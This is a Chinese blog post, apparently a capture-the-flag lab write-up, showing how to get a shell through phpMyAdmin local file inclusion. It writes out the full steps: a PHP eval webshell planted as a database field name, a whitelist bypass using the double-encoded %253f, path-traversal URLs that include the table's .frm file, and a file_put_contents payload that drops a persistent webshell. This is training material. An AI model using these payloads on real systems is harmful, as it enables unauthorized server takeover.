本地包含与远程包含漏洞-phpmyadmin数据库后台getshell

本地包含与远程包含漏洞-phpmyadmin数据库后台getshell
文件包含漏洞
攻击者利用包含的特性,加上应用本身对文件(包含)控制不严格,最终造成攻击者进行任意文件包含。(注:包含的文件会被当成脚本文件来解析)

一句话来说就是:文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。

注:包含文件很有用,可以简化代码
文件包含分为本地和远程文件包含(需要allow_url_include = On)
本地文件包含LFI 远程文件包含 RFI
主要原理:
主要利用函数include($REQUEST[]),对于文件包含函数中接受传参的那部分,我们可以尝试改变传参使其执行(访问)一些文件,本次靶场使用的是PHPmyadmin写入一个文件(数据库里的一个表的一个字段为一句话木马),然后会存到/mysql/data目录下,然后在存在include()函数的页面使用../../../../../../../../../../跳到根目录,然后去访问我们新建的数据库的那个木马字段(因为是CMS白盒审计,所以我们知道数据库的访问路径),访问那个生成木马字段,就可以在上面显示PHPinfo()了,但是这个目录不可以连接菜刀,因为需要数据库密码账号登录,解决办法是:我们可以任意传参,再用a参数上传一个file_put_content(‘1.php’,$z)?>参数,在同级目录下生成php文件,就可以菜刀连接了。
上靶场:http://59.63.200.79:8010/lfi/phpmyadmin,密码账号都是root,然后登陆数据库后台:


然后新建一个老木马的数据库字段:


创建一个字段名:
<?php @eval($_REQUEST[‘hz’]);?>


添加一句话木马字段.然后去变量里找文件位置:


找到mysql的地址路径。

源码审计中得出include()函数页面接受url传参会解码一次,url的get型传参本身会对符号编码一次,传入之后在解码一次,所以这个地方进行了两次解码,我们的目的是解码两次后,传入后台时有”?(问号)”。


所以我们可以利用双重编码绕过,将?经过两次编码%253f就可以绕过白名单验证,当%253f 传入时,首先会被自动解码一次,变成%3f。然后urldecode()再解码一次,就变成了 ?。 成功绕过了白名单限制。

构造payload:
http://59.63.200.79:8010/lfi/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../../phpstudy/MYSQL/data/b/b.frm&b=phpinfo();


Phpinfo()成功。

然后传入生成木马PHP文件的参数(注意:$a = 这个参数很需要):$a = ‘<?php @eval($_REQUEST[\’z\’])?>’;file_put_contents(‘yh.php’,$a);echo ‘ok’;

Payload:59.63.200.79:8010/lfi/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../../phpstudy/MYSQL/data/b/b.frm&hz=$a = ‘<?php @eval($_REQUEST[\’z\’])?>’;file_put_contents(‘yh.php’,$a);echo ‘ok’;

yh.php目录:http://59.63.200.79:8010/lfi/phpMyAdmin/yh.php
访问yh.php:


进入页面。
链接菜刀:


成功进入。


成功获得flag。

posted @ 2019-11-25 20:12  求知鱼  阅读(575)  评论(0)    收藏  举报